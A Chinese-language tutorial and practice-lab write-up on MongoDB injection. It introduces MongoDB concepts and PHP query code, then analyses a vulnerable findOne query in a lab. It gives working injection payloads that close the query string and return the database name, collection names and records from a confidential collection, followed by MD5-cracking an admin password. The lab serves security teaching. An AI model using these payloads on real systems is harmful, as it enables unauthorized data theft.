了解Mongodb注入
Mongodb是一个介于关系数据库和非关系数据库之间的产品,是非关系数据库(noSQL)当中功能最丰富,最像关系数据库的。它支持的数据结构非常松散,数据格式是BSON,一种类似JSON的二进制形式的存储格式,和JSON一样支持内嵌的文档对象和数组对象,因此可以存储比较复杂的数据类型。Mongodb最大的特点是它支持的查询语言非常强大,其语法有点类似于面向对象的查询语言,几乎可以实现类似关系数据库单表查询的绝大部分功能,而且还支持对数据建立索引。
Mongodb数据结构由键值(key=>value)对组成。MongoDB 文档类似于 JSON 对象。字段值可以包含其他文档,数组及文档数组。
json数据格式:{key:value}
MongoDB数据结构
Mongodb默认端口号:
27017:mongod和mongos实例的默认端口。
27018:
SQL与Mongodb对比
SQL | Mongodb |
---|---|
database(数据库) | database(数据库) |
table(表) | collection(集合,相当于SQL中的表) |
row(行) | document(文档,一个文档相当于表中一行) |
column(列) | field(字段,相当于SQL列) |
index(索引) | index(索引,与SQL索引概念一样) |
primary KEY(主键) | _id(字段,唯一ID相当于SQL中的主键) |
Mongodb中每个database中含有一个或多个collection,每个collection中含有多个document。
PHP使用Mongodb
$mongo = new mongoclient(); // 建立链接。
$db = $mongo->myinfo; // 选择数据库
$query = "db.table.save({'newsid':1})"; // 增
$query = "db.table.find({'newsid':1})"; // 查
$query = "db.table.remove({'newsid':1})"; // 删
$query = "db.table.update({'newsid':1},{'newsid',2})"; // 改
$result = $db->execute($query); // 执行
墨者靶场演示Mongodb注入过程
源码分析
墨者靶场提供了一段源码,我们来分析一下这段代码。
1.可以看到$db = $_GET[“id”]接收用户传参。这个参数可控。
- “var data = db.notice.findOne({‘id’:‘$id’});return data”;直接将ID参数带入带查询语句中。(findOne查询只查询一条数据)
3.$obj = d b − > e x e c u t e ( db->execute( db−>execute(query); 执行
4.<?php echo $obj['retval']['title']?> <?php echo $obj['retval']['content'] ?> 打印查询数据。
有可控参数,且参数直接拼接到查询语句中执行,存在注点,并在页面中打印了查询数据说明有回显。
测试注入点
注入点测试还是遵循SQL注入原理,看我们输入的数据有没有带入数据库执行,先来引号 ’ 测试,看页面是否出问题。
id=1 页面正常。
id = 1 ’ 页面错误,说明我们的传入的参数 ’ 带入到数据库中执行,存在注入点。
查询数据
对源码提供的查询语句进行分析:
$query = "var data = db.notice.findOne({'id':'$id'});return data"
首先需要闭合({',之后写payload,返回的数据是[‘retval’][‘content’] / [‘retval’][‘title’].
构造payload:'});return ({title:‘chatGPT’,content:'3.0
可以看到页面返回并显示了我们传入的数据,这个payload可用。
查数据库名
payload:id=1’}); return ({title:tojson(db),content:'test
数据库名为:mozhe_cms_Authority
db查询当前数据库db返回的是一个数组,tojson()函数将其转为JSON类型。
查询集合(表)名
payload:'});return({title:tojson(db.getCollectionNames()),content:'2
查询到了3个集合名:Authority_confidential、notice、system.indexes
db.getCollectionNames()返回一个包含当前数据库中所有集合(表)名称的数组。
查数据
payload:'});return({title:tojson(db.Authority_confidential.find()[0]),content:'2
db.Authority_confidential.find()[0]:
db当前数据库
Authority_confidential 查询的表名,
find()查询函数,返回查询的结果,
[0]代表取索引为0的数据。
最后一步:
MD5解密password,登录后台拿到KEY。
了解Mongodb注入可以了解这篇文章:
https://www.secpulse.com/archives/3278.html
Mongodb中文文档:
https://docs.mongoing.com/the-mongodb-manual-cn